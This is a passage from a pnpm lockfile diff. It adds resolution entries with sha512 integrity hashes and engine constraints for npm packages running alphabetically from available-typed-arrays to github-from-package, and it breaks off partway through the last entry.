available-typed-arrays@1.0.7: + resolution: {integrity: sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==} + engines: {node: '>= 0.4'} + + balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + + base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + + base64id@2.0.0: + resolution: {integrity: sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==} + engines: {node: ^4.5.0 || >= 5.9} + + bcryptjs@3.0.3: + resolution: {integrity: sha512-GlF5wPWnSa/X5LKM1o0wz0suXIINz1iHRLvTS+sLyi7XPbe5ycmYI3DlZqVGZZtDgl4DmasFg7gOB3JYbphV5g==} + hasBin: true + + better-sqlite3@12.6.2: + resolution: {integrity: sha512-8VYKM3MjCa9WcaSAI3hzwhmyHVlH8tiGFwf0RlTsZPWJ1I5MkzjiudCo4KC4DxOaL/53A5B1sI/IbldNFDbsKA==} + engines: {node: 20.x || 22.x || 23.x || 24.x || 25.x} + + binary-extensions@2.3.0: + resolution: {integrity: sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==} + engines: {node: '>=8'} + + bindings@1.5.0: + resolution: {integrity: sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==} + + bl@4.1.0: + resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + + body-parser@1.20.4: + resolution: {integrity: sha512-ZTgYYLMOXY9qKU/57FAo8F+HA2dGX7bqGc71txDRC1rS4frdFI5R7NhluHxH6M0YItAP0sHB4uqAOcYKxO6uGA==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + + brace-expansion@1.1.12: + resolution: {integrity: sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==} + + braces@3.0.3: + resolution: {integrity: sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==} + engines: {node: '>=8'} + + buffer-equal-constant-time@1.0.1: + resolution: {integrity: sha512-zRpUiDwd/xk6ADqPMATG8vc9VPrkck7T07OIx0gnjmJAnHnTVXNQG3vfvWNuiZIkwu9KrKdA1iJKfsfTVxE6NA==} + + buffer-from@1.1.2: + resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} + + buffer@5.7.1: + resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + + busboy@1.6.0: + resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} + engines: {node: '>=10.16.0'} + + bytenode@1.5.7: + resolution: {integrity: sha512-FWo+xOlZ+BOzk8ZjyVvHB41wD4CoS/iHpCWPrKzghQiAE/Z/npCvz4DJ1hbzFhEbEkrv4TAikqHrvz5dTt9/jQ==} + hasBin: true + + bytes@3.1.2: + resolution: {integrity: sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==} + engines: {node: '>= 0.8'} + + cacache@15.3.0: + resolution: {integrity: sha512-VVdYzXEn+cnbXpFgWs5hTT7OScegHVmLhJIR8Ufqk3iFD6A6j5iSX1KuBTfNEv4tdJWE2PzA6IVFtcLC7fN9wQ==} + engines: {node: '>= 10'} + + call-bind-apply-helpers@1.0.2: + resolution: {integrity: sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==} + engines: {node: '>= 0.4'} + + call-bind@1.0.8: + resolution: {integrity: sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==} + engines: {node: '>= 0.4'} + + call-bound@1.0.4: + resolution: {integrity: sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==} + engines: {node: '>= 0.4'} + + chalk@4.1.2: + resolution: {integrity: sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==} + engines: {node: '>=10'} + + chance@1.1.13: + resolution: {integrity: sha512-V6lQCljcLznE7tUYUM9EOAnnKXbctE6j/rdQkYOHIWbfGQbrzTsAXNW9CdU5XCo4ArXQCj/rb6HgxPlmGJcaUg==} + + char-regex@1.0.2: + resolution: {integrity: sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==} + engines: {node: '>=10'} + + charenc@0.0.2: + resolution: {integrity: sha512-yrLQ/yVUFXkzg7EDQsPieE/53+0RlaWTs+wBrvW36cyilJ2SaDWfl4Yj7MtLTXleV9uEKefbAGUPv2/iWSooRA==} + + chokidar@3.6.0: + resolution: {integrity: sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==} + engines: {node: '>= 8.10.0'} + + chownr@1.1.4: + resolution: {integrity: sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==} + + chownr@2.0.0: + resolution: {integrity: sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==} + engines: {node: '>=10'} + + class-validator@0.14.3: + resolution: {integrity: sha512-rXXekcjofVN1LTOSw+u4u9WXVEUvNBVjORW154q/IdmYWy1nMbOU9aNtZB0t8m+FJQ9q91jlr2f9CwwUFdFMRA==} + + clean-stack@2.2.0: + resolution: {integrity: sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==} + engines: {node: '>=6'} + + cliui@7.0.4: + resolution: {integrity: sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==} + + color-convert@2.0.1: + resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} + engines: {node: '>=7.0.0'} + + color-convert@3.1.3: + resolution: {integrity: sha512-fasDH2ont2GqF5HpyO4w0+BcewlhHEZOFn9c1ckZdHpJ56Qb7MHhH/IcJZbBGgvdtwdwNbLvxiBEdg336iA9Sg==} + engines: {node: '>=14.6'} + + color-name@1.1.4: + resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} + + color-name@2.1.0: + resolution: {integrity: sha512-1bPaDNFm0axzE4MEAzKPuqKWeRaT43U/hyxKPBdqTfmPF+d6n7FSoTFxLVULUJOmiLp01KjhIPPH+HrXZJN4Rg==} + engines: {node: '>=12.20'} + + color-string@2.1.4: + resolution: {integrity: sha512-Bb6Cq8oq0IjDOe8wJmi4JeNn763Xs9cfrBcaylK1tPypWzyoy2G3l90v9k64kjphl/ZJjPIShFztenRomi8WTg==} + engines: {node: '>=18'} + + color-support@1.1.3: + resolution: {integrity: sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==} + hasBin: true + + color@5.0.3: + resolution: {integrity: sha512-ezmVcLR3xAVp8kYOm4GS45ZLLgIE6SPAFoduLr6hTDajwb3KZ2F46gulK3XpcwRFb5KKGCSezCBAY4Dw4HsyXA==} + engines: {node: '>=18'} + + commander@12.1.0: + resolution: {integrity: sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==} + engines: {node: '>=18'} + + commander@2.20.3: + resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} + + concat-map@0.0.1: + resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} + + concat-stream@2.0.0: + resolution: {integrity: sha512-MWufYdFw53ccGjCA+Ol7XJYpAlW6/prSMzuPOTRnJGcGzuhLn4Scrz7qf6o8bROZ514ltazcIFJZevcfbo0x7A==} + engines: {'0': node >= 6.0} + + conf@15.0.2: + resolution: {integrity: sha512-JBSrutapCafTrddF9dH3lc7+T2tBycGF4uPkI4Js+g4vLLEhG6RZcFi3aJd5zntdf5tQxAejJt8dihkoQ/eSJw==} + engines: {node: '>=20'} + + console-control-strings@1.1.0: + resolution: {integrity: sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==} + + content-disposition@0.5.4: + resolution: {integrity: sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==} + engines: {node: '>= 0.6'} + + content-type@1.0.5: + resolution: {integrity: sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==} + engines: {node: '>= 0.6'} + + cookie-signature@1.0.7: + resolution: {integrity: sha512-NXdYc3dLr47pBkpUCHtKSwIOQXLVn8dZEuywboCOJY/osA0wFSLlSawr3KN8qXJEyX66FcONTH8EIlVuK0yyFA==} + + cookie@0.7.2: + resolution: {integrity: sha512-yki5XnKuf750l50uGTllt6kKILY4nQ1eNIQatoXEByZ5dWgnKqbnqmTrBE5B4N7lrMJKQ2ytWMiTO2o0v6Ew/w==} + engines: {node: '>= 0.6'} + + core-util-is@1.0.3: + resolution: {integrity: sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==} + + cors@2.8.6: + resolution: {integrity: sha512-tJtZBBHA6vjIAaF6EnIaq6laBBP9aq/Y3ouVJjEfoHbRBcHBAHYcMh/w8LDrk2PvIMMq8gmopa5D4V8RmbrxGw==} + engines: {node: '>= 0.10'} + + create-require@1.1.1: + resolution: {integrity: sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==} + + crypt@0.0.2: + resolution: {integrity: sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==} + + debounce-fn@6.0.0: + resolution: {integrity: sha512-rBMW+F2TXryBwB54Q0d8drNEI+TfoS9JpNTAoVpukbWEhjXQq4rySFYLaqXMFXwdv61Zb2OHtj5bviSoimqxRQ==} + engines: {node: '>=18'} + + debug@2.6.9: + resolution: {integrity: sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + decompress-response@6.0.0: + resolution: {integrity: sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==} + engines: {node: '>=10'} + + deep-extend@0.6.0: + resolution: {integrity: sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==} + engines: {node: '>=4.0.0'} + + deep-is@0.1.4: + resolution: {integrity: sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==} + + define-data-property@1.1.4: + resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} + engines: {node: '>= 0.4'} + + define-properties@1.2.1: + resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} + engines: {node: '>= 0.4'} + + delegates@1.0.0: + resolution: {integrity: sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==} + + depd@2.0.0: + resolution: {integrity: sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==} + engines: {node: '>= 0.8'} + + destroy@1.2.0: + resolution: {integrity: sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + + detect-libc@2.1.2: + resolution: {integrity: sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==} + engines: {node: '>=8'} + + diff@4.0.4: + resolution: {integrity: sha512-X07nttJQkwkfKfvTPG/KSnE2OMdcUCao6+eXF3wmnIQRn2aPAHH3VxDbDOdegkd6JbPsXqShpvEOHfAT+nCNwQ==} + engines: {node: '>=0.3.1'} + + dir-glob@3.0.1: + resolution: {integrity: sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==} + engines: {node: '>=8'} + + dot-prop@10.1.0: + resolution: {integrity: sha512-MVUtAugQMOff5RnBy2d9N31iG0lNwg1qAoAOn7pOK5wf94WIaE3My2p3uwTQuvS2AcqchkcR3bHByjaM0mmi7Q==} + engines: {node: '>=20'} + + dotenv@17.3.1: + resolution: {integrity: sha512-IO8C/dzEb6O3F9/twg6ZLXz164a2fhTnEWb95H23Dm4OuN+92NmEAlTrupP9VW6Jm3sO26tQlqyvyi4CsnY9GA==} + engines: {node: '>=12'} + + dunder-proto@1.0.1: + resolution: {integrity: sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==} + engines: {node: '>= 0.4'} + + ecdsa-sig-formatter@1.0.11: + resolution: {integrity: sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==} + + ee-first@1.1.1: + resolution: {integrity: sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==} + + emoji-regex@8.0.0: + resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} + + enabled@2.0.0: + resolution: {integrity: sha512-AKrN98kuwOzMIdAizXGI86UFBoo26CL21UM763y1h/GMSJ4/OHU9k2YlsmBpyScFo/wbLzWQJBMCW4+IO3/+OQ==} + + encodeurl@2.0.0: + resolution: {integrity: sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==} + engines: {node: '>= 0.8'} + + encoding@0.1.13: + resolution: {integrity: sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==} + + end-of-stream@1.4.5: + resolution: {integrity: sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==} + + engine.io-parser@5.2.3: + resolution: {integrity: sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==} + engines: {node: '>=10.0.0'} + + engine.io@6.6.5: + resolution: {integrity: sha512-2RZdgEbXmp5+dVbRm0P7HQUImZpICccJy7rN7Tv+SFa55pH+lxnuw6/K1ZxxBfHoYpSkHLAO92oa8O4SwFXA2A==} + engines: {node: '>=10.2.0'} + + env-paths@2.2.1: + resolution: {integrity: sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==} + engines: {node: '>=6'} + + env-paths@3.0.0: + resolution: {integrity: sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + + err-code@2.0.3: + resolution: {integrity: sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==} + + es-define-property@1.0.1: + resolution: {integrity: sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==} + engines: {node: '>= 0.4'} + + es-errors@1.3.0: + resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} + engines: {node: '>= 0.4'} + + es-object-atoms@1.1.1: + resolution: {integrity: sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==} + engines: {node: '>= 0.4'} + + escalade@3.2.0: + resolution: {integrity: sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==} + engines: {node: '>=6'} + + escape-html@1.0.3: + resolution: {integrity: sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==} + + eslint-scope@8.4.0: + resolution: {integrity: sha512-sNXOfKCn74rt8RICKMvJS7XKV/Xk9kA7DyJr8mJik3S7Cwgy3qlkkmyS2uQB3jiJg6VNdZd/pDBJu0nvG2NlTg==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + eslint-visitor-keys@4.2.1: + resolution: {integrity: sha512-Uhdk5sfqcee/9H/rCOJikYz67o0a2Tw2hGRPOG2Y1R2dg7brRe1uG0yaNQDHu+TO/uQPF/5eCapvYSmHUjt7JQ==} + engines: {node: ^18.18.0 || ^20.9.0 || >=21.1.0} + + esprima@4.0.1: + resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} + engines: {node: '>=4'} + hasBin: true + + esrecurse@4.3.0: + resolution: {integrity: sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==} + engines: {node: '>=4.0'} + + estraverse@5.3.0: + resolution: {integrity: sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==} + engines: {node: '>=4.0'} + + esutils@2.0.3: + resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} + engines: {node: '>=0.10.0'} + + etag@1.8.1: + resolution: {integrity: sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==} + engines: {node: '>= 0.6'} + + expand-template@2.0.3: + resolution: {integrity: sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==} + engines: {node: '>=6'} + + express@4.22.1: + resolution: {integrity: sha512-F2X8g9P1X7uCPZMA3MVf9wcTqlyNp7IhH5qPCI0izhaOIYXaW9L535tGA3qmjRzpH+bZczqq7hVKxTR4NWnu+g==} + engines: {node: '>= 0.10.0'} + + fast-deep-equal@3.1.3: + resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} + + fast-glob@3.3.3: + resolution: {integrity: sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==} + engines: {node: '>=8.6.0'} + + fast-levenshtein@2.0.6: + resolution: {integrity: sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==} + + fast-uri@3.1.0: + resolution: {integrity: sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==} + + fastq@1.20.1: + resolution: {integrity: sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==} + + fecha@4.2.3: + resolution: {integrity: sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==} + + file-uri-to-path@1.0.0: + resolution: {integrity: sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==} + + fill-range@7.1.1: + resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} + engines: {node: '>=8'} + + finalhandler@1.3.2: + resolution: {integrity: sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==} + engines: {node: '>= 0.8'} + + fn.name@1.1.0: + resolution: {integrity: sha512-GRnmB5gPyJpAhTQdSZTSp9uaPSvl09KoYcMQtsB9rQoOmzs9dH6ffeccH+Z+cv6P68Hu5bC6JjRh4Ah/mHSNRw==} + + for-each@0.3.5: + resolution: {integrity: sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==} + engines: {node: '>= 0.4'} + + forwarded@0.2.0: + resolution: {integrity: sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==} + engines: {node: '>= 0.6'} + + fresh@0.5.2: + resolution: {integrity: sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==} + engines: {node: '>= 0.6'} + + from2@2.3.0: + resolution: {integrity: sha512-OMcX/4IC/uqEPVgGeyfN22LJk6AZrMkRZHxcHBMBvHScDGgwTm2GT2Wkgtocyd3JfZffjj2kYUDXXII0Fk9W0g==} + + fs-constants@1.0.0: + resolution: {integrity: sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==} + + fs-extra@9.1.0: + resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==} + engines: {node: '>=10'} + + fs-minipass@2.1.0: + resolution: {integrity: sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==} + engines: {node: '>= 8'} + + fs.realpath@1.0.0: + resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + function-bind@1.1.2: + resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} + + gauge@4.0.4: + resolution: {integrity: sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==} + engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0} + deprecated: This package is no longer supported. + + generator-function@2.0.1: + resolution: {integrity: sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==} + engines: {node: '>= 0.4'} + + get-caller-file@2.0.5: + resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} + engines: {node: 6.* || 8.* || >= 10.*} + + get-intrinsic@1.3.0: + resolution: {integrity: sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==} + engines: {node: '>= 0.4'} + + get-proto@1.0.1: + resolution: {integrity: sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==} + engines: {node: '>= 0.4'} + + github-from-package@0.0.0: + resolution: {integrity: 